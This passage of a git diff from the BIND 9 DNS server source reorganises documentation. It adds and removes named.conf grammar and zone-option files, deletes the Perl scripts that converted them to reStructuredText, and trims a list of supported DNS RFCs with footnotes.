-  RFC3491 (Obsoleted by 5890, 5891) [7]
-  RFC3493
-  RFC3496
-  RFC3597
-  RFC3645
-  RFC4025
-  RFC4033 [18]
-  RFC4034
-  RFC4035
-  RFC4074
-  RFC4255
-  RFC4294 - Section 5.1 [8]
-  RFC4343
-  RFC4398
-  RFC4408
-  RFC4431
-  RFC4470 [9]
-  RFC4509
-  RFC4592
-  RFC4635
-  RFC4701
-  RFC4892
-  RFC4955 [10]
-  RFC5001
-  RFC5011
-  RFC5155
-  RFC5205
-  RFC5452 [11]
-  RFC5702
-  RFC5936
-  RFC5952
-  RFC5966
-  RFC6052
-  RFC6147 [12]
-  RFC6303
-  RFC6604
-  RFC6605 [13]
-  RFC6672
-  RFC6698
-  RFC6742
-  RFC6725 [19]
-  RFC6840 [14]
-  RFC6844
-  RFC6891
-  RFC6944
-  RFC7043
-  RFC7050 [21]
-  RFC7314
-  RFC7344 [20]
-  RFC7477
-  RFC7553
-  RFC7793
-  RFC7830 [15]
-  RFC7929
-  RFC8078 [20]
-  RFC8080
-  RFC8880
-
-No longer supported
-
-  RFC2536
-
-The following DNS related RFC have been obsoleted
-
-  RFC2535 (Obsoleted by 4034, 4035) [3] [4]
-  RFC2537 (Obsoleted by 3110) [19]
-  RFC2538 (Obsoleted by 4398)
-  RFC2671 (Obsoleted by 6891)
-  RFC2672 (Obsoleted by 6672)
-  RFC2673 (Obsoleted by 6891)
-  RFC3008 (Obsoleted by 4034, 4035)
-  RFC3152 (Obsoleted by 3596)
-  RFC3445 (Obsoleted by 4034, 4035)
-  RFC3655 (Obsoleted by 4034, 4035)
-  RFC3658 (Obsoleted by 4034, 4035)
-  RFC3755 (Obsoleted by 4034, 4035)
-  RFC3757 (Obsoleted by 4034, 4035)
-  RFC3845 (Obsoleted by 4034, 4035)
-
-[1] Queries to zones that have failed to load return SERVFAIL rather
-than a non-authoritative response.  This is considered a feature.
-
-[2] CLASS ANY queries are not supported.  This is considered a
-feature.
-
-[3] Wildcard records are not supported in DNSSEC secure zones.
-
-[4] Servers authoritative for secure zones being resolved by BIND
-9 must support EDNS0 (RFC2671), and must return all relevant SIGs
-and NXTs in responses rather than relying on the resolving server
-to perform separate queries for missing SIGs and NXTs.
-
-[5] When receiving a query signed with a SIG(0), the server will
-only be able to verify the signature if it has the key in its local
-authoritative data; it will not do recursion or validation to
-retrieve unknown keys.
-
-[6] Section 4 is ignored.
-
-[7] Requires --with-idn to enable entry of IDN labels within dig,
-host and nslookup at compile time.  ACE labels are supported
-everywhere with or without --with-idn.
-
-[8] Section 5.1 - DNAME records are fully supported.
-
-[9] Minimally Covering NSEC Record are accepted but not generated.
-
-[10] Will interoperate with correctly designed experiments.
-
-[11] Named only uses ports to extend the id space, address are not
-used.
-
-[12] Section 5.5 does not match reality.  Named uses the presence
-of DO=1 to detect if validation may be occurring.  CD has no bearing
-on whether validation is occurring or not.
-
-[13] Conditional on the OpenSSL library being linked against
-supporting ECDSA.
-
-[14] Section 5.9 - Always set CD=1 on queries.  This is *not* done as
-it prevents DNSSEC working correctly through another recursive server.
-
-When talking to a recurive server the best algorithm to do is send
-CD=0 and then send CD=1 iff SERVFAIL is returned in case the recurive
-server has a bad clock and/or bad trust anchor.  Alternatively one
-can send CD=1 then CD=0 on validation failure in case the recursive
-server is under attack or there is stale / bogus authoritative data.
-
-[15] Named doesn't currently encrypt DNS requests so the PAD option
-is accepted but not returned in responses.
-
-[16] Only the Base 64 encoding specification.
-
-[17] Not applicable to DNS server implementations.
-
-[18] Loading and serving of A6 records only.  A6 records were moved
-to the experimental category by RFC3363.
-
-[19] RSAMD5 support has been removed. See RFC 6944.
-
-[20] Updating of parent zones is not yet implemented.
-
-[21] RFC 7050 is updated by RFC 8880
diff --git a/doc/misc/rndc.grammar b/doc/misc/rndc.grammar
new file mode 100644
index 0000000000..9d5604f98a
--- /dev/null
+++ b/doc/misc/rndc.grammar
@@ -0,0 +1,21 @@
+key <string> {
+	algorithm <string>;
+	secret <string>;
+}; // may occur multiple times
+
+options {
+	default-key <string>;
+	default-port <integer>;
+	default-server <string>;
+	default-source-address ( <ipv4_address> | * );
+	default-source-address-v6 ( <ipv6_address> | * );
+};
+
+server <string> {
+	addresses { ( <quoted_string> [ port <integer> ] | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ); ... };
+	key <string>;
+	port <integer>;
+	source-address ( <ipv4_address> | * );
+	source-address-v6 ( <ipv6_address> | * );
+}; // may occur multiple times
+
diff --git a/doc/misc/rst-grammars.pl b/doc/misc/rst-grammars.pl
deleted file mode 100644
index 49832d81d2..0000000000
--- a/doc/misc/rst-grammars.pl
+++ /dev/null
@@ -1,65 +0,0 @@
-#!/usr/bin/perl
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-use warnings;
-use strict;
-
-if (@ARGV < 2) {
-	print STDERR <<'END';
-usage:
-    perl docbook-options.pl options_file section > section.grammar.xml
-END
-	exit 1;
-}
-
-my $FILE = shift;
-my $SECTION = shift;
-
-open (FH, "<", $FILE) or die "Can't open $FILE";
-
-print "::\n\n";
-
-# skip preamble
-my $preamble = 0;
-while (<FH>) {
-	if (m{^\s*$}) {
-		last if $preamble > 0;
-	} else {
-		$preamble++;
-	}
-}
-
-my $display = 0;
-while (<FH>) {
-	if (m{^$SECTION\b}) {
-		$display = 1
-	}
-
-	if (m{// not.*implemented} || m{// obsolete} ||
-	    m{// ancient} || m{// test.*only})
-	{
-		next;
-	}
-
-	s{ // not configured}{};
-	s{ // non-operational}{};
-	s{ // may occur multiple times}{};
-	s{[[]}{[}g;
-	s{[]]}{]}g;
-	s{        }{\t}g;
-
-	if (m{^\s*$} && $display) {
-		last;
-	}
-	if ($display) {
-		print "  " . $_;
-	}
-}
diff --git a/doc/misc/rst-options.pl b/doc/misc/rst-options.pl
deleted file mode 100644
index 0121ada7b3..0000000000
--- a/doc/misc/rst-options.pl
+++ /dev/null
@@ -1,119 +0,0 @@
-#!/usr/bin/perl
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-use warnings;
-use strict;
-
-if (@ARGV < 1) {
-	print STDERR <<'END';
-usage:
-    perl rst-options.pl options_file >named.conf.rst
-END
-	exit 1;
-}
-
-my $FILE = shift;
-
-open (FH, "<", $FILE) or die "Can't open $FILE";
-
-print <<END;
-.. highlight: console
-
-named.conf - configuration file for **named**
----------------------------------------------
-
-Synopsis
-~~~~~~~~
-
-:program:`named.conf`
-
-Description
-~~~~~~~~~~~
-
-``named.conf`` is the configuration file for ``named``. Statements are
-enclosed in braces and terminated with a semi-colon. Clauses in the
-statements are also semi-colon terminated.  The usual comment styles are
-supported:
-
-C style: /\\* \\*/
-
- C++ style: // to end of line
-
-Unix style: # to end of line
-
-END
-
-# skip preamble
-my $preamble = 0;
-while (<FH>) {
-	if (m{^\s*$}) {
-		last if $preamble > 0;
-	} else {
-		$preamble++;
-	}
-}
-
-my $blank = 0;
-while (<FH>) {
-	if (m{// not.*implemented} || m{// obsolete} ||
-	    m{// ancient} || m{// test.*only})
-	{
-		next;
-	}
-
-	s{ // not configured}{};
-	s{ // non-operational}{};
-	s{ (// )*may occur multiple times}{};
-	s{<([a-z0-9_-]+)>}{$1}g;
-	s{ // deprecated,*}{// deprecated};
-	s{[[]}{[}g;
-	s{[]]}{]}g;
-	s{        }{\t}g;
-	if (m{^([a-z0-9-]+) }) {
-		my $HEADING = uc $1;
-		my $UNDERLINE = $HEADING;
-		$UNDERLINE =~ s/./^/g;
-		print $HEADING . "\n";
-		print $UNDERLINE . "\n\n";
-		if ($HEADING eq "TRUSTED-KEYS") {
-		    print "Deprecated - see DNSSEC-KEYS.\n\n";
-		}
-		if ($HEADING eq "MANAGED-KEYS") {
-		    print "See DNSSEC-KEYS.\n\n" ;
-		}
-		print "::\n\n";
-	}
-
-	if (m{^\s*$}) {
-		if (!$blank) {
-			print "\n";
-			$blank = 1;
-		}
-		next;
-	} else {
-		$blank = 0;
-	}
-	print "  " . $_;
-
-}
-
-print <<END;
-Files
-~~~~~
-
-``/etc/named.conf``
-
-See Also
-~~~~~~~~
-
-:manpage:`named(8)`, :manpage:`named-checkconf(8)`, :manpage:`rndc(8)`, :manpage:`rndc-confgen(8)`, :manpage:`tsig-keygen(8)`, BIND 9 Administrator Reference Manual.
-
-END
diff --git a/doc/misc/rst-zoneopt.pl b/doc/misc/rst-zoneopt.pl
deleted file mode 100644
index 6a1b13ef93..0000000000
--- a/doc/misc/rst-zoneopt.pl
+++ /dev/null
@@ -1,43 +0,0 @@
-#!/usr/bin/perl
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-use warnings;
-use strict;
-
-if (@ARGV < 1) {
-	print STDERR <<'END';
-usage:
-    perl rst-zoneopt.pl zoneopt_file
-END
-	exit 1;
-}
-
-my $FILE = shift;
-
-open (FH, "<", $FILE) or die "Can't open $FILE";
-
-print "::\n\n";
-
-while (<FH>) {
-	if (m{// not.*implemented} || m{// obsolete} ||
-	    m{// ancient} || m{// test.*only})
-	{
-		next;
-	}
-
-	s{ // not configured}{};
-	s{ // may occur multiple times}{};
-	s{[[]}{[}g;
-	s{[]]}{]}g;
-	s{        }{\t}g;
-
-	print "  " . $_;
-}
diff --git a/doc/misc/secondary.zoneopt b/doc/misc/secondary.zoneopt
new file mode 100644
index 0000000000..26eca8e20a
--- /dev/null
+++ b/doc/misc/secondary.zoneopt
@@ -0,0 +1,62 @@
+zone <string> [ <class> ] {
+	type secondary;
+	allow-notify { <address_match_element>; ... };
+	allow-query { <address_match_element>; ... };
+	allow-query-on { <address_match_element>; ... };
+	allow-transfer [ port <integer> ] [ transport <string> ] { <address_match_element>; ... };
+	allow-update-forwarding { <address_match_element>; ... };
+	also-notify [ port <integer> ] [ source ( <ipv4_address> | * ) ] [ source-v6 ( <ipv6_address> | * ) ] { ( <remote-servers> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
+	check-names ( fail | warn | ignore );
+	checkds ( explicit | <boolean> );
+	database <string>;
+	dialup ( notify | notify-passive | passive | refresh | <boolean> ); // deprecated
+	dlz <string>;
+	dnskey-sig-validity <integer>; // obsolete
+	dnssec-dnskey-kskonly <boolean>; // obsolete
+	dnssec-loadkeys-interval <integer>;
+	dnssec-policy <string>;
+	dnssec-update-mode ( maintain | no-resign ); // obsolete
+	file <quoted_string>;
+	forward ( first | only );
+	forwarders [ port <integer> ] [ tls <string> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ tls <string> ]; ... };
+	inline-signing <boolean>;
+	ixfr-from-differences <boolean>;
+	journal <quoted_string>;
+	key-directory <quoted_string>;
+	masterfile-format ( raw | text );
+	masterfile-style ( full | relative );
+	max-ixfr-ratio ( unlimited | <percentage> );
+	max-journal-size ( default | unlimited | <sizeval> );
+	max-records <integer>;
+	max-refresh-time <integer>;
+	max-retry-time <integer>;
+	max-transfer-idle-in <integer>;
+	max-transfer-idle-out <integer>;
+	max-transfer-time-in <integer>;
+	max-transfer-time-out <integer>;
+	min-refresh-time <integer>;
+	min-retry-time <integer>;
+	multi-master <boolean>;
+	notify ( explicit | master-only | primary-only | <boolean> );
+	notify-delay <integer>;
+	notify-source ( <ipv4_address> | * );
+	notify-source-v6 ( <ipv6_address> | * );
+	notify-to-soa <boolean>;
+	nsec3-test-zone <boolean>; // test only
+	parental-agents [ port <integer> ] [ source ( <ipv4_address> | * ) ] [ source-v6 ( <ipv6_address> | * ) ] { ( <remote-servers> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
+	parental-source ( <ipv4_address> | * );
+	parental-source-v6 ( <ipv6_address> | * );
+	primaries [ port <integer> ] [ source ( <ipv4_address> | * ) ] [ source-v6 ( <ipv6_address> | * ) ] { ( <remote-servers> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
+	request-expire <boolean>;
+	request-ixfr <boolean>;
+	sig-signing-nodes <integer>;
+	sig-signing-signatures <integer>;
+	sig-signing-type <integer>;
+	sig-validity-interval <integer> [ <integer> ]; // obsolete
+	transfer-source ( <ipv4_address> | * );
+	transfer-source-v6 ( <ipv6_address> | * );
+	try-tcp-refresh <boolean>;
+	update-check-ksk <boolean>; // obsolete
+	zero-no-soa-ttl <boolean>;
+	zone-statistics ( full | terse | none | <boolean> );
+};
diff --git a/doc/misc/server.grammar.rst b/doc/misc/server.grammar.rst
deleted file mode 100644
index 4c461a0c12..0000000000
--- a/doc/misc/server.grammar.rst
+++ /dev/null
@@ -1,34 +0,0 @@
-::
-
-  server <netprefix> {
-  	bogus <boolean>;
-  	edns <boolean>;
-  	edns-udp-size <integer>;
-  	edns-version <integer>;
-  	keys <server_key>;
-  	max-udp-size <integer>;
-  	notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-  	    dscp <integer> ];
-  	notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ]
-  	    [ dscp <integer> ];
-  	padding <integer>;
-  	provide-ixfr <boolean>;
-  	query-source ( ( [ address ] ( <ipv4_address> | * ) [ port (
-  	    <integer> | * ) ] ) | ( [ [ address ] ( <ipv4_address> | * ) ]
-  	    port ( <integer> | * ) ) ) [ dscp <integer> ];
-  	query-source-v6 ( ( [ address ] ( <ipv6_address> | * ) [ port (
-  	    <integer> | * ) ] ) | ( [ [ address ] ( <ipv6_address> | * ) ]
-  	    port ( <integer> | * ) ) ) [ dscp <integer> ];
-  	request-expire <boolean>;
-  	request-ixfr <boolean>;
-  	request-nsid <boolean>;
-  	send-cookie <boolean>;
-  	tcp-keepalive <boolean>;
-  	tcp-only <boolean>;
-  	transfer-format ( many-answers | one-answer );
-  	transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-  	    dscp <integer> ];
-  	transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * )
-  	    ] [ dscp <integer> ];
-  	transfers <integer>;
-  };
diff --git a/doc/misc/slave.zoneopt b/doc/misc/slave.zoneopt
deleted file mode 100644
index 169ed84810..0000000000
--- a/doc/misc/slave.zoneopt
+++ /dev/null
@@ -1,62 +0,0 @@
-zone <string> [ <class> ] {
-	type ( slave | secondary );
-	allow-notify { <address_match_element>; ... };
-	allow-query { <address_match_element>; ... };
-	allow-query-on { <address_match_element>; ... };
-	allow-transfer { <address_match_element>; ... };
-	allow-update-forwarding { <address_match_element>; ... };
-	also-notify [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-	alt-transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	alt-transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	auto-dnssec ( allow | maintain | off );
-	check-names ( fail | warn | ignore );
-	database <string>;
-	dialup ( notify | notify-passive | passive | refresh | <boolean> );
-	dlz <string>;
-	dnskey-sig-validity <integer>;
-	dnssec-dnskey-kskonly <boolean>;
-	dnssec-loadkeys-interval <integer>;
-	dnssec-policy <string>;
-	dnssec-update-mode ( maintain | no-resign );
-	file <quoted_string>;
-	forward ( first | only );
-	forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
-	inline-signing <boolean>;
-	ixfr-from-differences <boolean>;
-	journal <quoted_string>;
-	key-directory <quoted_string>;
-	masterfile-format ( map | raw | text );
-	masterfile-style ( full | relative );
-	masters [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-	max-ixfr-ratio ( unlimited | <percentage> );
-	max-journal-size ( default | unlimited | <sizeval> );
-	max-records <integer>;
-	max-refresh-time <integer>;
-	max-retry-time <integer>;
-	max-transfer-idle-in <integer>;
-	max-transfer-idle-out <integer>;
-	max-transfer-time-in <integer>;
-	max-transfer-time-out <integer>;
-	min-refresh-time <integer>;
-	min-retry-time <integer>;
-	multi-master <boolean>;
-	notify ( explicit | master-only | primary-only | <boolean> );
-	notify-delay <integer>;
-	notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	notify-to-soa <boolean>;
-	primaries [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-	request-expire <boolean>;
-	request-ixfr <boolean>;
-	sig-signing-nodes <integer>;
-	sig-signing-signatures <integer>;
-	sig-signing-type <integer>;
-	sig-validity-interval <integer> [ <integer> ];
-	transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	try-tcp-refresh <boolean>;
-	update-check-ksk <boolean>;
-	use-alt-transfer-source <boolean>;
-	zero-no-soa-ttl <boolean>;
-	zone-statistics ( full | terse | none | <boolean> );
-};
diff --git a/doc/misc/slave.zoneopt.rst b/doc/misc/slave.zoneopt.rst
deleted file mode 100644
index 6f2da9559d..0000000000
--- a/doc/misc/slave.zoneopt.rst
+++ /dev/null
@@ -1,64 +0,0 @@
-::
-
-  zone <string> [ <class> ] {
-  	type ( slave | secondary );
-  	allow-notify { <address_match_element>; ... };
-  	allow-query { <address_match_element>; ... };
-  	allow-query-on { <address_match_element>; ... };
-  	allow-transfer { <address_match_element>; ... };
-  	allow-update-forwarding { <address_match_element>; ... };
-  	also-notify [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-  	alt-transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	alt-transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	auto-dnssec ( allow | maintain | off );
-  	check-names ( fail | warn | ignore );
-  	database <string>;
-  	dialup ( notify | notify-passive | passive | refresh | <boolean> );
-  	dlz <string>;
-  	dnskey-sig-validity <integer>;
-  	dnssec-dnskey-kskonly <boolean>;
-  	dnssec-loadkeys-interval <integer>;
-  	dnssec-policy <string>;
-  	dnssec-update-mode ( maintain | no-resign );
-  	file <quoted_string>;
-  	forward ( first | only );
-  	forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
-  	inline-signing <boolean>;
-  	ixfr-from-differences <boolean>;
-  	journal <quoted_string>;
-  	key-directory <quoted_string>;
-  	masterfile-format ( map | raw | text );
-  	masterfile-style ( full | relative );
-  	masters [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-  	max-ixfr-ratio ( unlimited | <percentage> );
-  	max-journal-size ( default | unlimited | <sizeval> );
-  	max-records <integer>;
-  	max-refresh-time <integer>;
-  	max-retry-time <integer>;
-  	max-transfer-idle-in <integer>;
-  	max-transfer-idle-out <integer>;
-  	max-transfer-time-in <integer>;
-  	max-transfer-time-out <integer>;
-  	min-refresh-time <integer>;
-  	min-retry-time <integer>;
-  	multi-master <boolean>;
-  	notify ( explicit | master-only | primary-only | <boolean> );
-  	notify-delay <integer>;
-  	notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	notify-to-soa <boolean>;
-  	primaries [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-  	request-expire <boolean>;
-  	request-ixfr <boolean>;
-  	sig-signing-nodes <integer>;
-  	sig-signing-signatures <integer>;
-  	sig-signing-type <integer>;
-  	sig-validity-interval <integer> [ <integer> ];
-  	transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	try-tcp-refresh <boolean>;
-  	update-check-ksk <boolean>;
-  	use-alt-transfer-source <boolean>;
-  	zero-no-soa-ttl <boolean>;
-  	zone-statistics ( full | terse | none | <boolean> );
-  };
diff --git a/doc/misc/sort-options.pl b/doc/misc/sort-options.pl
index eebfa21a12..f60b0b72b5 100644
--- a/doc/misc/sort-options.pl
+++ b/doc/misc/sort-options.pl
@@ -1,9 +1,11 @@
 #!/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/doc/misc/static-stub.zoneopt b/doc/misc/static-stub.zoneopt
index f89d46248a..85c158fbcb 100644
--- a/doc/misc/static-stub.zoneopt
+++ b/doc/misc/static-stub.zoneopt
@@ -3,7 +3,7 @@ zone <string> [ <class> ] {
 	allow-query { <address_match_element>; ... };
 	allow-query-on { <address_match_element>; ... };
 	forward ( first | only );
-	forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
+	forwarders [ port <integer> ] [ tls <string> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ tls <string> ]; ... };
 	max-records <integer>;
 	server-addresses { ( <ipv4_address> | <ipv6_address> ); ... };
 	server-names { <string>; ... };
diff --git a/doc/misc/static-stub.zoneopt.rst b/doc/misc/static-stub.zoneopt.rst
deleted file mode 100644
index 2116849f28..0000000000
--- a/doc/misc/static-stub.zoneopt.rst
+++ /dev/null
@@ -1,13 +0,0 @@
-::
-
-  zone <string> [ <class> ] {
-  	type static-stub;
-  	allow-query { <address_match_element>; ... };
-  	allow-query-on { <address_match_element>; ... };
-  	forward ( first | only );
-  	forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
-  	max-records <integer>;
-  	server-addresses { ( <ipv4_address> | <ipv6_address> ); ... };
-  	server-names { <string>; ... };
-  	zone-statistics ( full | terse | none | <boolean> );
-  };
diff --git a/doc/misc/statistics-channels.grammar.rst b/doc/misc/statistics-channels.grammar.rst
deleted file mode 100644
index 69c19e7361..0000000000
--- a/doc/misc/statistics-channels.grammar.rst
+++ /dev/null
@@ -1,8 +0,0 @@
-::
-
-  statistics-channels {
-  	inet ( <ipv4_address> | <ipv6_address> |
-  	    * ) [ port ( <integer> | * ) ] [
-  	    allow { <address_match_element>; ...
-  	    } ];
-  };
diff --git a/doc/misc/stub.zoneopt b/doc/misc/stub.zoneopt
index c616cc687f..6d7c98cb45 100644
--- a/doc/misc/stub.zoneopt
+++ b/doc/misc/stub.zoneopt
@@ -4,14 +4,12 @@ zone <string> [ <class> ] {
 	allow-query-on { <address_match_element>; ... };
 	check-names ( fail | warn | ignore );
 	database <string>;
-	delegation-only <boolean>;
-	dialup ( notify | notify-passive | passive | refresh | <boolean> );
+	dialup ( notify | notify-passive | passive | refresh | <boolean> ); // deprecated
 	file <quoted_string>;
 	forward ( first | only );
-	forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
-	masterfile-format ( map | raw | text );
+	forwarders [ port <integer> ] [ tls <string> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ tls <string> ]; ... };
+	masterfile-format ( raw | text );
 	masterfile-style ( full | relative );
-	masters [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
 	max-records <integer>;
 	max-refresh-time <integer>;
 	max-retry-time <integer>;
@@ -20,9 +18,8 @@ zone <string> [ <class> ] {
 	min-refresh-time <integer>;
 	min-retry-time <integer>;
 	multi-master <boolean>;
-	primaries [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-	transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	use-alt-transfer-source <boolean>;
+	primaries [ port <integer> ] [ source ( <ipv4_address> | * ) ] [ source-v6 ( <ipv6_address> | * ) ] { ( <remote-servers> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
+	transfer-source ( <ipv4_address> | * );
+	transfer-source-v6 ( <ipv6_address> | * );
 	zone-statistics ( full | terse | none | <boolean> );
 };
diff --git a/doc/misc/stub.zoneopt.rst b/doc/misc/stub.zoneopt.rst
deleted file mode 100644
index d00a0c1785..0000000000
--- a/doc/misc/stub.zoneopt.rst
+++ /dev/null
@@ -1,30 +0,0 @@
-::
-
-  zone <string> [ <class> ] {
-  	type stub;
-  	allow-query { <address_match_element>; ... };
-  	allow-query-on { <address_match_element>; ... };
-  	check-names ( fail | warn | ignore );
-  	database <string>;
-  	delegation-only <boolean>;
-  	dialup ( notify | notify-passive | passive | refresh | <boolean> );
-  	file <quoted_string>;
-  	forward ( first | only );
-  	forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
-  	masterfile-format ( map | raw | text );
-  	masterfile-style ( full | relative );
-  	masters [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-  	max-records <integer>;
-  	max-refresh-time <integer>;
-  	max-retry-time <integer>;
-  	max-transfer-idle-in <integer>;
-  	max-transfer-time-in <integer>;
-  	min-refresh-time <integer>;
-  	min-retry-time <integer>;
-  	multi-master <boolean>;
-  	primaries [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-  	transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	use-alt-transfer-source <boolean>;
-  	zone-statistics ( full | terse | none | <boolean> );
-  };
diff --git a/doc/misc/tls.grammar.rst b/doc/misc/tls.grammar.rst
deleted file mode 100644
index f610a77d59..0000000000
--- a/doc/misc/tls.grammar.rst
+++ /dev/null
@@ -1,11 +0,0 @@
-::
-
-  tls <string> {
-  	ca-file <quoted_string>;
-  	cert-file <quoted_string>;
-  	ciphers <string>; // experimental
-  	dh-param <quoted_string>; // experimental
-  	hostname <quoted_string>;
-  	key-file <quoted_string>;
-  	protocols <sslprotos>; // experimental
-  };
diff --git a/doc/misc/trust-anchors.grammar.rst b/doc/misc/trust-anchors.grammar.rst
deleted file mode 100644
index c7a800583d..0000000000
--- a/doc/misc/trust-anchors.grammar.rst
+++ /dev/null
@@ -1,6 +0,0 @@
-::
-
-  trust-anchors { <string> ( static-key |
-      initial-key | static-ds | initial-ds )
-      <integer> <integer> <integer>
-      <quoted_string>; ... };
diff --git a/doc/misc/trusted-keys.grammar.rst b/doc/misc/trusted-keys.grammar.rst
deleted file mode 100644
index d920076399..0000000000
--- a/doc/misc/trusted-keys.grammar.rst
+++ /dev/null
@@ -1,5 +0,0 @@
-::
-
-  trusted-keys { <string> <integer>
-      <integer> <integer>
-      <quoted_string>; ... };, deprecated
diff --git a/doc/notes/notes-9.17.0.rst b/doc/notes/notes-9.17.0.rst
deleted file mode 100644
index c5e69ff33a..0000000000
--- a/doc/notes/notes-9.17.0.rst
+++ /dev/null
@@ -1,74 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-Notes for BIND 9.17.0
----------------------
-
-Known Issues
